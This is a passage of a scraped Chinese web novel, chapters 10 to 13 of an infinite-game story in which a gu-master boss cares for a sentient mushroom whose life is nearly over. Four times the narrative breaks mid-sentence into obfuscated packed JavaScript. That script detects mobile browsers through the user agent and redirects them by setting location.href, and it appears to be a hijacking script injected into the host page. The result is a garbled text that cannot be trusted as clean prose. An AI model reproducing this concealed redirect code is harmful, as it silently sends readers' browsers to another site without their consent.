35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401835|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十分钟后,符歇看着把秧苗全插在田中间的玩家,缓缓蹙起眉。 “……谁教你们这么插秧的?” 插秧插秧,真的很难理解吗? 玩家们战战兢兢,互相甩锅。 “你会不会插秧啊?” “就是啊,插秧你听不懂吗?” “谁知道……插秧……就是真的……插秧啊……” 在一片玩家叽叽喳喳的议论声里,符歇敏锐听见身后的背篓传来细碎的声响。 他立刻卸下了背篓。 瓷碗里的蘑菇已经醒了,正在伸懒腰。 于是玩家们看见,boss忽然莫名其妙地进行了一个卸下背篓的大动作。 他们顿时大气不敢喘一声,生怕里面爬出一头千年厉鬼,把他们给团灭了。 然后,万众瞩目地,符歇从背篓里掏出了一个……蘑菇? 千年厉鬼·顾蘑菇刚醒,摇摇晃晃地从符歇掌心站了起来。 【咦?他们在干什蘑?】 符歇沉默片刻,坦诚说:“我也不知道。” 他也不知道玩家们在干什么。 反正不是在插秧。 符歇苦中作乐地想:还好没有给玩家安排杀猪的任务。 不然这群人不知道要把事情搞成什么样。 某一瞬间,符歇甚至能和滕阿婆隔空共鸣—— “现在的年轻人啊,真是一代不如一代!” 就在玩家叽叽喳喳争论不休的时候。 一个一直没说话的、戴眼镜的圆脸女孩默默脱离了玩家的队伍,慢吞吞地走到了符歇面前。 符歇并没有分给她视线,懒懒地靠在树旁,眼皮都没有抬一下。 只是在旁人看不见的地方,暗暗将蘑菇捏得更紧。 女孩略过气势逼人的boss,蹲下身子,看着boss手里那朵小蘑菇。 【你好你好……咦?】 友善的蘑菇晃动了一下杆杆,正想和眼前的人类打招呼。 却发现符歇把他捏得太紧,完全动不了呀?! 【咦?】 【咦咦咦?】 顾蘑菇试图挣扎了一下。 挣扎失败。 符歇依旧面不改色,一言不发。 仿佛那个控制着蘑菇的邪恶人类并不是他。 这么一来,哪怕是顾蘑菇都能看出来,符歇不希望蘑菇和玩家打招呼了。 顾蘑菇思考过后,立刻宽宏大量地包容了人的小脾气。 他一动不动,顺着符歇的意思,把自己伪装成一朵普普通通的可爱蘑菇。 “这朵蘑菇,是毛头鬼伞吧。”看了一会儿,女孩忽然开口。 仅凭一句话,就让符歇将目光落在了她的身上。 “你对蘑菇有研究?”符歇握紧了蘑菇,忌惮地问。 “嗯。”女孩一板一眼地点了点头,“我的大学专业是植物学,读研时研究的,就是菌子相关。” “……把和他有关的一切告诉我。”符歇缓缓直起身,态度肉眼可见地重视起来,低头看着她,毫不犹豫地给出了条件,“你想要什么?” 并不着急去回答boss的问话,女孩推了推眼镜。 她缓缓叙述着事实情况,语气毫无起伏: “现有的观察记录表明,野生的毛头鬼伞,从出土到自溶,最多活不过七天。” 11. 菇质疏松 “现有的观察记录表明,野生的毛头鬼伞,从出土到自溶,最多活不过七天。” 圆脸女孩刚说完这句话,眼前boss的脸色立刻就变了。 少年原本苍白的脸色隐隐发黑,他掀起眼帘,漆暗深沉的双瞳中,顷刻间泄露出毁灭一切的杀意。 他冷声开口:“你确定?” 女孩下意识后退了一步。 这还是《恐怖苗疆》的副本里,boss第一次显露出如此强烈的情绪。 如果西装男还活着、壮汉还没疯的话。 他们会告诉女孩:这是第二次了。 第一次出现在符歇砍断门栓、闯进玩家居所救蘑菇的那个夜晚。 “……确定。”女孩迟疑着开口,小心翼翼地提醒boss,“与我无关,这是自然规律决定的,这朵蘑菇,最多最多也只能活七天。” 话音刚落,方圆十里内的毒物随之暴动,及踝高的草丛里,不断传来蛇蝎焦躁摆尾的窸窣声。 “我知道,与你无关。” 符歇闭上眼,深吸一口气,压抑住差点失控的情绪。 他的手指摩挲着手里的蘑菇。 试图用真实的触碰,来填补那颗不断漏风的心。 符歇拥有了一朵蘑菇。 也就拥有了失去蘑菇的可能。 顾蘑菇还在乖乖地被抓握着。 趁着人类不注意的时候,才敢偷偷鼓起伞伞,小幅度地换一口气。 【呼……哈……】 他有乖乖听符歇的话,控制呼吸的力度,不要影响到周围的活物。 太乖了。 乖得符歇的心脏好疼。 等到周遭的毒物慢慢安静下来,少年缓缓睁开眼,艰难开口: “没有……什么办法么?” “有。” “什么办法?” “把蘑菇放在特质的培育箱里,尽量不要随意挪动,避开阳光,把环境调整到合适的湿度和温度,加上通风系统,确保空气流通。”女孩也不藏着掖着,爽快地倾囊相授,“如果照料得当的话,蘑菇应该能够再长一两天。” “‘一两天’……”符歇喃喃着重复。 少年垂下眼,看着手中的蘑菇。 显然,他对于这个答案并不满意。 且不说苗疆去哪里找什么菌子培育箱。 光是只能让蘑菇多活一两天,有什么意义? 蘑菇还是会死的。 死了之后,又该怎么办呢? 自然界有自然界的规律,无限游戏也有无限游戏的法则。 按照无限游戏的《副本重置条例》,副本里自然死亡的npc不会复生,会由其他npc接替他的职责和岗位,只有必要的游戏道具会在每一个轮回中重置。 原先蘑菇没有开灵智的时候,算是符歇用来讲解规则的道具。 所以能一次又一次地,随着副本重启,反复刷新轮回。 现在的顾蘑菇,又算什么呢? 符歇沉思着,握紧顾蘑菇。 顾蘑菇也在八卦地偷听他们的对话。 【咦?】 ……“再长一两天”? 那不就真从小蘑菇变成老蘑菇了?! 会被阿婆狠狠笑话的! 记仇的顾蘑菇使劲摇动脑袋。 【嗯——嗯——菇不要!】 符歇拿起不安分的蘑菇,按住他左右摇摆的脑袋。 他自欺欺人地,强行帮蘑菇点了点头。 被掐住圆圆脑袋的顾蘑菇愣愣地看着少年。 “你要。”符歇倔强地声明,“你要养生。” 符歇不想失去他的蘑菇。 从今天开始,他必须帮蘑菇养生。 早睡早起,保温保湿。 养健康习惯,做长寿蘑菇! 不知道boss在和一朵蘑菇说什么话,女孩也只能尴尬地站在原地等待。 她忍不住腹诽:这boss,不会是蘑菇吃多了,出幻觉了吧?怎么看着有些不靠谱呢? 忽然,符歇头也不抬地说了一句: “其他人的命都将留在这里,我会把你安全送出去。” 等到boss走远了,女孩才意识到,那句话是对自己说的。 那话又说回来,boss还是很靠谱的。 苗疆的夜晚总是舒适而凉爽。 尤其是符歇能够控制蚊子和飞虫,让它们不得靠近的前提下。 收工后,符歇坐在家门口板凳上。 往日里拿刀的修长的手,此刻正在灵巧地做着手工活。 【人在做什么蘑?】 蘑菇趴在符歇的肩膀上,好奇地凑着脑袋看。 知道顾蘑菇喜欢人类的用品,符歇有技巧地哄道: “在给你做床。” 苗疆找不到培育箱。 所以符歇用藤竹给蘑菇编了一个。 编织完成后,他在里面垫满了肥厚的黑土和叶子,就为了蘑菇能够住得舒服些。 【蘑菇的床?】 顾蘑菇果然很感兴趣,他扒拉着符歇的衣服当绳索,一点点地往下降。 蘑菇这几天被符歇养得很好,整只蘑菇圆溜了不少。 带上了些重量,把符歇的衣领都给扯开了。 感受到领口一凉,不想成为第一个被蘑菇扒衣服的人类。 符歇连忙伸手托住了顾蘑菇,把顾蘑菇妥善地送到了竹编的箱子里。 顾蘑菇在箱子里巡视了一圈,熟悉自己的领地。 过程中拖动了几片叶子,改了改箱子里的布置格局。 等蘑菇大致看完,符歇俯身问: “还满意吗?” 带着点少年自己都未曾觉察的忐忑与期待。 【满满的意!】 蘑菇在叶子上幸福地滚来滚去。 “那你明天一天,就待在这里面?” 符歇试图和蘑菇商量。 顾蘑菇立刻从叶子上爬起来,弓着杆杆,不满地抗议。 【为什蘑?】 【菇要出去玩!】 符歇就知道会这样。 他放轻声音,和蘑菇解释:“今天那个玩家不是说了吗?要是想让你活得更久些,就要把你种在培育箱里,尽量不要随便移动。我原来总是带你出门,其实是很错误的。” 少年罕见地一口气说了很多话,蘑菇似懂非懂地听着。 听了半天,蘑菇也只听进去了最后一句。 【不对不对!】 【人!是不会有错的!】 【人全对!】 看着蘑菇忽然猛烈地摇头,还以为蘑菇是在表达反抗,符歇轻轻叹了口气。 他艰涩地说:“我……太自私了,那样对你。可你是蘑菇,和人是不一样的。” 说完,他挫败地低下头。 顾蘑菇不会说话,急得在箱子里团团转。 “你想说什么?”符歇也看出了顾蘑菇的异常。 他把手指放在了蘑菇的脑袋上,安抚地揉了一下。 “如果你会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401836|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话就好了。” 符歇摸着蘑菇软软的脑壳,由衷叹了一声。 这句话说出的那一刻,一颗小小的种子种在了他的心里。 不过,现在的当务之急,还是帮蘑菇延长寿命。 符歇板起脸认真道:“早上说过了,从今天开始,你要养生。” 【养生?】 顾蘑菇歪着脑袋,表示疑惑。 “我托人去寨子的北边买了这个。” 少年从桌子底下翻出了一个小布袋子,他打开袋子,从里面捻出一把灰色的粉末。 “这是那户人家特制的肥料,据说有很多种营养成分,可好用了,能把死了的植物都医活。”符歇严肃地讲述着那些传闻,“陈阿婆家的叶子菜枯萎三天了,就是这种肥料救回来的。” 【……呃?】 就连蘑菇听了也知道不靠谱吧?! “给你试试。” 符歇小心翼翼地把肥料洒在了顾蘑菇的身上。 肥料飘飘扬扬,落在蘑菇的盖盖上,整只蘑菇变得灰扑扑的。 顾蘑菇尝试着吸了一口,差点没被呛晕过去。 【噗!噗噗噗!】 他连忙把肥料全都吐了出来。 “有用吗?”少年严阵以待,期待地问。 【没用!!!】 【好难吃!!!】 顾蘑菇摇了摇脑袋,顺带甩掉了脑袋上的肥料。 符歇见状,怅然若失地把肥料袋子放在了一边。 “是么……可惜了。” 很快,他又抿着唇,定下心来: “明天我再去寨子的西头问问,总该有靠谱的。” 【还要?!】 想到以后每天都要被撒上各种稀奇古怪的肥料。 顾蘑菇杆杆一软,无力地栽倒在了泥土里。 符歇看了,更觉得给蘑菇喂肥料迫在眉睫。 “你看,你这就是营养不足,菇质疏松。”符歇戳了戳顾蘑菇的杆杆,有理有据地说,“多吃点高营养肥料才能站得更稳。” 少年忧心忡忡,颇有危机感地补充: “我问了寨子里的其他人,他们养花种草的时候,从第一天就开始喂肥料了,我们已经输在了起跑线上,必须要努力追赶。” 顾蘑菇彻底茫然了。 总感觉少年被灌输了什么奇奇怪怪的东西。 他左顾右盼,试图跟上符歇的思路。 起跑线在哪,蘑菇怎么没看到? ——这算什么? 等蘑菇老了,可以向蛊王卖保健品? 在顾蘑菇的强烈抗议下,符歇终于收了撒肥料的心思。 符歇退而求其次,要求道:“那你要乖乖待在箱子里,不许乱跑。” 【嗯!】 顾蘑菇答应得很爽快。 “我会放一些毒物在家里保护你。”符歇特意叮嘱道,“不用害怕,我会让它们听你的指挥。” 【嗯嗯!】 顾蘑菇无比乖巧。 “箱子很高,你应该也爬不出来,为了避免受伤,你试都不要去试。” 【嗯嗯嗯!】 符歇把能想到的、大大小小的事情都嘱咐了一遍。 在得到顾蘑菇无数个乖巧点头后,他才放心地出了门。 听见门被扣紧的声音,顾蘑菇立刻支棱了起来。 他披上他最喜欢的那片金色叶子,用意念对着满屋子必须听他指挥的毒物,下了第一条命令。 【都来拜见蘑菇大王!】 12. 菇菇我啊 符歇专门为顾蘑菇准备的竹编培育箱里,从里往外伸出两只黑色的大钳子。 大钳子夹在竹箱上,微微使劲。 下一秒,蝎子驮着蘑菇,从箱子里跳了出来。 【耶嘿嘿,飞咯!】 顾蘑菇披着金色的叶子,坐在蝎子的背上。 蘑菇脑袋左摇右晃,为蝎子指引方向。 好一朵御驾亲征的蘑菇大王。 或许是顾蘑菇的兴奋鼓舞了那只蝎子。 好好地,蝎子忽然开始在空中三百六十度转体,飞檐走壁,表演了一堆特技动作。 顾蘑菇杆杆都被甩得飞起来了,全靠用伞伞扒拉着蝎子的甲片才没有摔下去,喝了好几口的风。 哪怕是这样,顾蘑菇依旧很捧场。 【呼噜呼噜……好玩……呼噜呼噜……好玩!】 千里马常有,而伯乐不常有。 蝎子常有,而骑蝎子的蘑菇不常有。 不知不觉,一蝎一菇之间居然有些惺惺相惜之感。 蝎子带着蘑菇,落在了小楼的木质地板上。 它抬起一只钳子,伸到蘑菇面前。 似乎在询问蘑菇自己的表现怎么样。 顾蘑菇伸出杆杆,与蝎子的钳子击掌。 他毫不吝惜地给出了官方认证: 【你,就是最会飞的蝎子!】 然后,顾蘑菇把杆杆对准了自己,雀跃地宣告: 【我,就是最会骑蝎子的蘑菇!】 这个时候,他还不忘连着自己一起夸。 哪怕灵智未开,毒物们也能听懂表扬的情绪。 蝎子晃晃悠悠地,碰了碰两只钳子,做了个庆祝的动作。 顾蘑菇的身前,毒物们早已排好了一个个方阵,井然有序地恭迎蘑菇大王的到来。 【吁——驾驾驾!】 顾蘑菇学着人类骑马的架势,驾驭着蝎子,走进了毒物的队伍间。 像所有建功立业的帝王一样,山大王·顾蘑菇严肃地检阅他的毒物兵团。 顺便发表了重要讲话: 【虽然呢,我是小的蘑菇,你们是大的蝎子长的蛇黏糊糊的蟾蜍还有很多脚的蜈蚣。】 【但是呢,我们都住在山里,以后我们就是一根木头上的蘑菇了。】 顾蘑菇雄赳赳气昂昂,扬起蘑菇脑袋,说到兴起处,摇头晃脑。 【你们也不要把我看得很小哦。】 【菇菇我啊,可是足足有五天那么大!】 【今天有六天了!】 毒物们听不懂,依旧很捧场。 有钳子挥钳子,有尾巴挥尾巴,还有一片的咕呱咕呱。 顾蘑菇满意极了,恩威并施: 【你们跟着我,有数不完的叶子吃,数不完的露水喝!】 至于,叶子和露水从哪里来? 嗯…… 反正符歇会帮他兑现的。 检阅完毒物将士们,顾蘑菇决定要带兵出征。 【都听好了,蘑菇大王的第一条命令——】 【我命令你们,带我出门玩!】 想到符歇的嘱咐,顾蘑菇又有些心虚。 背着少年做这种事,是不是有点太邪恶了? 盖盖瞬间瘪下来,顾蘑菇迟疑了一下,很有气势地补充了一句: 【带我出门,就,就在门口玩!】 这样好了! 这样人一回家,就可以看到。 顾蘑菇一声令下,毒物们抬着蘑菇,乌泱泱地朝着门口涌去。 “咕呱咕呱咕呱!”蟾蜍负责为蘑菇大王奏乐。 银环蛇灵活地攀上门板,用尾巴抽开了挡路的门栓。 顾蘑菇骑着蝎子,御驾亲征。 打开小楼的门,映入眼帘的,就是家门口山坡上的晾衣架。 是符歇用木头杆子和绳子搭起来的,上面挂满了符歇日常穿的苗服。 那些衣服在人类眼里,完全是一模一样的款式,像是游戏开发者偷懒,一键复制黏贴的游戏建模。 可顾蘑菇却能闻出不一样来。 哪怕已经仔细清洗过很多遍,属小狗的蘑菇,依旧能闻到人类闻不到的味道。 ——这件人的味道更淡,是第一天穿的! ——这件被洗得很用力,有点褪了色,是吃毛血旺那天的那件! 顾蘑菇骑在蝎子上,一件件参观品鉴着符歇的衣服。 【……咦?】 忽然,他疑惑地仰着头,停在了晾衣架的下方。 【这是什蘑?】 除了蘑菇见过的、符歇日常穿的衣服裤子以外,架子上还挂着另外一些蘑菇从来没见过的布料。 一块块深蓝色的布料,短短的、方方的。 中间又十分奇怪地,凸起了一个大包。 长得像是……被剪去两条裤腿的裤子? 可如果是裤子的话。 那个圆圆的大包,是用来干什么的呢? 顾蘑菇琢蘑了一会儿,忽然有了个好想法——蘑菇是圆的,布料上又刚好有个包。 【大包大包,揣蘑菇刚刚好!】 有了这个想法以后,顾蘑菇立刻跃跃欲试。 他让蝎子用钳子把他举起。 对准那些深蓝色布料中的其中一块。 【三,二,一,发射!】 咻——地一声。 圆滚滚的蘑菇在空中划过一条优美的抛物线。 蝎子用的力气太大,顾蘑菇一下子飞到了架子的上方。 幸好他及时用杆杆勾住了木头杆子,像是体操表演一样,绕着杆子转了一圈。 顾蘑菇倒吊着挪动了几下,小心翼翼地对准后。 蘑菇脑袋朝下,落进了下方的那块布料里。 落进去的第一刻,蘑菇的世界完全暗了下来。 落进去的第二刻,顾蘑菇被熟悉的气息包裹了。 【是人的味道!】 这意味着少年穿过这些布料。 可顾蘑菇却从来都没有见到过。 【什蘑时候?】 顾蘑菇化身蘑菇神探,在布料里面拱来拱去,试图寻找蛛丝马迹…… 今天的苗疆天气晴朗,无风无云。 符歇知道蘑菇贪玩,始终放心不下,还没到中午,就忍不住回来了一趟。 回到小楼时,首先看到的,是门口那群围着晾衣架罚站的毒物。 少年眼皮一跳,有了不详的预感。 他撩起眼帘,看向那个木头架子。 架子上一排排衣物挂得无比整齐。 唯一突兀的,就是那条深蓝色的、无风自动的、鼓鼓囊囊的裤头。 几乎是一瞬间,少年面颊滚烫,脸红成了天边火烧云。 他立刻遣散了毒物,三步做两步走到了架子前,摘下了那块布料。 匆匆忙忙把布掀开,果然看见躺在里面的、十分无辜的顾蘑菇。 “蘑菇!”符歇气急败坏,压着嗓子喊。 一向沉稳得吓人的蛊王,此刻终于有了点他这个年纪的少年该有的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401837|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾蘑菇骤然被摘下,还有点茫然。 看见符歇,他又立刻高兴地摇着脑袋。 【人回来了!】 顾蘑菇这么一动,那块布料被弄得更皱更乱了。 符歇的心也跟着乱了。 他又羞又愤,胸膛不断起伏,看着顾蘑菇,眼神里带着隐隐的火。 “你,你知道你在干什么吗?” 他像是个良家妇男一般指责,指责的对象却是一朵蘑菇。 顾蘑菇坦坦荡荡地点点脑袋。 【菇知道啊。】 【菇在给自己找窝。】 符歇想把顾蘑菇摘出来。 蘑菇却一直扒拉着那块布料不放。 【以后人带着菇出去玩,就把菇放这里!】 大概猜到了顾蘑菇在说什么,符歇感觉自己的脸好烫。 他快被气得发烧了。 闭上眼,他动了动嘴唇:“……你先出来,这不是你该待的地方。” 顾蘑菇也犯了倔。 【才不要!】 【这个地方,不揣蘑菇,还想揣什么?】 出门不带顾蘑菇就算了。 还偷偷在布料上做了个凸出来的小袋子。 难不成——是想带别的蘑菇? 怪不得今天不让蘑菇碰、平时也不让蘑菇看见! 想到这种可能,顾蘑菇更加坚定了要坚守阵地的想法。 【菇就在这,哪儿也不去!】 顾蘑菇用盖盖吸住了布料,把自己平摊在了布料上。 符歇深呼吸了一口,想要伸手把顾蘑菇扯下来,却又停在半空中。 那个夜晚,他被惩罚恶念侵染,把顾蘑菇弄疼的事情还历历在目。 想到蘑菇委屈的样子,少年就下不了重手。 符歇有些气愤,但这种气愤是由于羞耻,不是对着顾蘑菇本菇。 ……蘑菇,总归是无辜的。 “你就在这,哪儿也不去?”少年咬唇,强忍着愠怒问。 【嗯嗯!菇就在这!】 符歇,堂堂万毒蛊王,无限游戏最恐怖的boss,整个苗疆的希望。 对付众多玩家,可以说是游刃有余。 对付一朵蘑菇,却像是被束缚住了手脚。 少年红着脸,长睫颤抖的频率,对应着如鼓擂般的心跳。 “行,你不走是吧。”符歇憋了半天,只憋出一句,“那这条……送你了,我走。” 说完,符歇不敢再看顾蘑菇。 他毅然决然地,拿着包裹着顾蘑菇的裤头,踏进家门。 连着那块布料,把顾蘑菇放回了竹箱中。 然后头也不回地转身,快步离开。 那架势,像是背后有鬼在追。 顾蘑菇呆呆躺在那块柔软的布料上。 过了许久,都没有反应过来。 【人回来了?】 【人又走了?】 【——为什蘑?】 人回来,就为了把这块布送给蘑菇? 似乎送的也不是很情愿。 顾蘑菇彻底迷糊了。 他用杆杆敲了敲自己的盖盖,十分之苦恼。 但少年的脸红是真的,呼吸也很粗重。 看着像是很愤怒的样子。 是哦!生气! 顾蘑菇茅塞顿开。 【人在生气?】 【人在,生菇的气?】 为什么? 因为蘑菇抢了少年最喜欢的裤头? 13. 小小印痕 等到夜幕降临的时候,苗疆的星子一颗一颗落在距离地面很近的天空上。 符歇闹够了别扭,做足心理准备后,回到小楼。 却发现蘑菇不见了。 空荡荡的竹箱里,早已菇去箱空,只剩下那块蓝色的布料。 符歇本来还在纠结的心顿时顾不上太多,狠狠地空了一拍。 “蘑菇呢?”符歇回身,责问留守的蛇蝎。 毒物们被顾蘑菇带走了一半,剩下的一般被符歇骤然散发出的黑色气息吓了一跳,茫然而焦躁地在原地打转。 蛇蝎不敢欺瞒符歇,它们并不知道顾蘑菇去了哪里。 得知这个结论后,符歇紧紧咬唇。 像是不知道痛似的,嘴里沾染上血腥味。 少年挫败地说:“……都怪我。” 他把顾蘑菇吓得离家出走了! 蘑菇只是一朵蘑菇啊,又懂些什么呢? 是他把蘑菇给吓跑了。 一想到顾蘑菇可能此刻正在荒郊野外里的某个地方可怜兮兮地抱紧自己的伞伞,叫天天不应叫地地不灵,符歇便悔不当初。 “不行。” 懊恼过后,符歇缓缓摇头。 他不能坐以待毙。 他要去把顾蘑菇找回来! 少年带着对自己的怨气,拿上柴刀,要出门寻找。 就在这时候,顾蘑菇回来了。 屋外的小坡上,先冒出头的,是一颗圆溜溜的蘑菇脑袋。 顾蘑菇的伞伞包裹着杆杆,像是吹起的气球一样,膨胀得撑出了一个球形。 他坐在蝎子的背上,身后跟着凯旋归来的毒物大军。 见到脸色比往常还要苍白的符歇,顾蘑菇还是和往常一样,很没有眼力见地蹦跳了一下,和少年打招呼。 【人,蘑菇大王回来了!】 符歇见到顾蘑菇,原本沉寂的眸子瞬间染上了欣喜。 他生怕眼前的一切只是一场臆想出来的幻境,小心翼翼地站在原地,被动地等待骑着蝎子的顾蘑菇靠近。 顾蘑菇像是一位得胜还朝的伟大帝王。 他骑着蝎子,威风地停在需要被拯救的符歇的面前。 【吁——】 喊停了蝎子以后,缩成一团的顾蘑菇翻滚了一下。 一颗圆滚滚又沉甸甸的蘑菇球滚下了蝎子的背。 因为惯性,多滚了好几圈以后,艰难刹停在了符歇的布鞋正前方。 “你去哪里了?”符歇低头看着顾蘑菇,蹙眉问。 【锵锵锵锵!】 【人,你看!】 顾蘑菇打开鼓鼓囊囊的盖盖,骄傲地摆出了亮相的姿势。 一时间,盖盖下面像是下了一场白色的小雨。 符歇定睛一看,一堆米粒纷纷扬扬地落了下来。 “这么多米。”符歇看清楚那是什么后,试探着问,“你去找吃的了……给我?” 顾蘑菇站在符歇的鞋间前,抬着蘑菇脑袋,期待着符歇崇拜的眼神。 【嗯嗯!】 【蘑菇大王去给人打猎了!】 已知,人是一种吃粟米的大鸟。 顾蘑菇把人惹生气了,想让人高兴。 琢蘑了半天,就去给人打猎了。 面对赤忱而简单的蘑菇,少年心里顿时五味杂陈。 “这些米粒……你都是从哪里弄来的?” 【嘿嘿……】 提起这个,顾蘑菇似乎有些心虚。 他弓起杆杆,塌下盖盖,有些躲躲闪闪。 眼尖的符歇一眼就看出了不对劲,他一言不发,立刻捉起了蘑菇。 【人?唔唔唔……】 顾蘑菇还没来得及疑惑,就完全落入了掌控中。 少年仔细地对去而复返的蘑菇进行检查,不放过蘑菇身上的每一个角落。 顾蘑菇身上每一个菌褶,每一道弧度,符歇都早已烂熟于心。 他的手熟练地抚过蘑菇软软的身体,一路畅通无阻。 忽然,摸到一个微不可查的小小印痕。 顾蘑菇表示:真的是很小很小很小的坑坑了! 少年停了手,沉下了脸色。 “这里,怎么了?”符歇冷不防开口,“你出去的时候,身体上明明还没有。” 【完噜,被发现噜!】 顾蘑菇呆了一下,乖巧地缩在少年的手掌心,一动不敢动。 “不说?很好。” 少年缓缓抬起手,随机指向几只跟着蘑菇出门的毒物,语气森寒。 “你们来说,他在外面遇到了什么。不要略过任何一件事,全都原原本本地告诉我。” 毒物立刻背叛了它们伟大的蘑菇大王,在地上忙忙碌碌的演示起来。 一只圆滚滚的黑色蟾蜍负责饰演顾蘑菇,骑在蝎子的身上,十分霸气地四处征战。 一只蝎子挥动钳子,一边挥动一边蹦跶,卖力地饰演顾蘑菇遇上的家伙。 怕符歇看不懂,一条蛇还在旁边用尾巴画出了顾蘑菇遇上的、那个生物的形状。 两个巨大的翅膀,尖尖的嘴巴,扇子一样的尾巴。 是一只不知道品种的鸟。 符歇看了看画上飞翔的鸟,又看了看不断蹦跶着挥动钳子的蝎子。 ……算了,没有功劳也有苦劳吧。 蝎子饰演的鸟儿叼着米粒,落在了地上。 蟾蜍饰演的蘑菇看准了时机,从半道上跳出来,率领着毒物大军,和鸟进行了一场酣畅淋漓的战斗。 蟾蜍甚至还复刻了当时蘑菇的霸气动作。 【此山是蘑开,此树是蘑栽!】 【要想从此过,留下大米来!】 鸟凭本事从人类的谷仓里偷走了米粒。 山大王顾蘑菇也凭本事劫道收取过路费。 大家都各凭本事!很平等! 【对嘟对嘟!就是这样!】 这个部分的蘑菇还是很帅的,顾蘑菇点点脑袋,勉强认同了蟾蜍的演绎。 直到蟾蜍饰演的蘑菇抢走了鸟的米粒。 那只鸟气急败坏,开启狂暴模式。 叨不走米粒,就叨了一下蘑菇的屁股。 蟾蜍抬起短手往后捂,从蝎子上滚落下来,在地上滚来滚去,咕呱咕呱地叫。 【呃……】 演到这里,顾蘑菇有些尴尬地望天。 这个部分,蘑菇就不太认可了。 他,他至少没有咕呱叫吧! “原来是这样。” 少年静静看完了这场表演,缓缓揉搓着手中的蘑菇。 蘑菇大王为了给人打猎,跟鸟打了一架。 毒物们的演绎令人啼笑皆非,符歇的脸上却没有丝毫的笑意。 “被鸟欺负了,不敢告诉我,为什么?”捏着失而复得的蘑菇,少年幽幽开口,“怕我知道了,对你做什么?” 少年的嘴角向上,语气也上扬。 却没有一丝一毫向上的情绪。 顾蘑菇连忙疯狂摇晃脑袋。 就连蘑菇都能感觉到,这时候要是敢点头,绝对完蛋了。 【才不是!】 顾蘑菇别扭地垂下脑袋,有些萎靡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401838|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【就,就是,很,很丢菇啊!】 是他不好意思啦。 符歇摩挲着蘑菇的杆杆,微微偏过头: “我发现,你似乎从来都学不会听我的话。” 他垂眸看着顾蘑菇,夜色中看不清他的神色。 苗疆的万家灯火照不进他下垂的眼眸,他的眼睛里只倒映着那一朵蘑菇。 今天,顾蘑菇的颜色更黑了。 这是毛头鬼伞在慢慢走向腐朽的象征。 符歇什么都做了,可是做什么都没有用。 “你是开了灵智的蘑菇,你有你的思想,是么?”符歇用一种令人毛骨悚然的温柔语调说,“所以呢,我又是什么。” 见符歇不高兴,顾蘑菇慌慌张张地想解释。 【菇没有逃跑哦,菇是去给人打猎!】 符歇也很想让蘑菇能够日日都出去玩。 他也想让蘑菇能够自由自在、无拘无束地生活在苗疆。 “可,你要让我怎么接受。” 少年笑容从冷冽渐渐变得苦涩。 你要我怎么接受……你就这么一天一天地,离我越来越远。 此刻的人类甚至有些埋怨不谙世事的蘑菇。 但更怨留不住蘑菇的自己。 顾蘑菇呆呆地躺在少年的掌心。 不知道为什么,他忽然觉得蘑菇脑袋有点痛痛的。 像是被松针扎了一样,褶褶都收紧了。 虽然只是一瞬间。 【咦?】 顾蘑菇奇怪地左顾右盼。 没有东西扎他呀? 那为什么还是会痛? 符歇挫败地握着懵懂的顾蘑菇,带着他一步一步地回到了小楼中。 明天就是第七天了。 是《恐怖苗疆》这个轮回的最后一天。 也可能……是顾蘑菇的最后一天。 符歇双手捧着顾蘑菇,把蘑菇放回了竹箱子里。 少年低头看着箱子里的顾蘑菇。 顾蘑菇也在抬头看着他。 蘑菇大王明明是想让人开心,才去给人打猎的。 可是人好像更不高兴了。 顾蘑菇惆怅地叹了口气。 ——没有蘑菇感的人,好难哄。 “明天,我会带你出门。”头顶上,少年也叹了口气,轻声开了口,“你想去哪里,我陪着你。” 【诶?】 突然一下,这么好说话的吗? 顾蘑菇小心翼翼地打量少年的神色。 符歇似乎做好了决定,说得很坚定: “从现在开始,你想要什么,想干什么,想玩什么,我都依你。” 这样也好。 留不住蘑菇的话,那就给蘑菇一个幸福的结局。 至少这样,顾蘑菇会很高兴。 在蘑菇的心里,符歇的形象也不会太坏。 【真嘟?】 很好哄的顾蘑菇立刻动心了。 符歇点了点头:“真的,你想要什么都可以。” 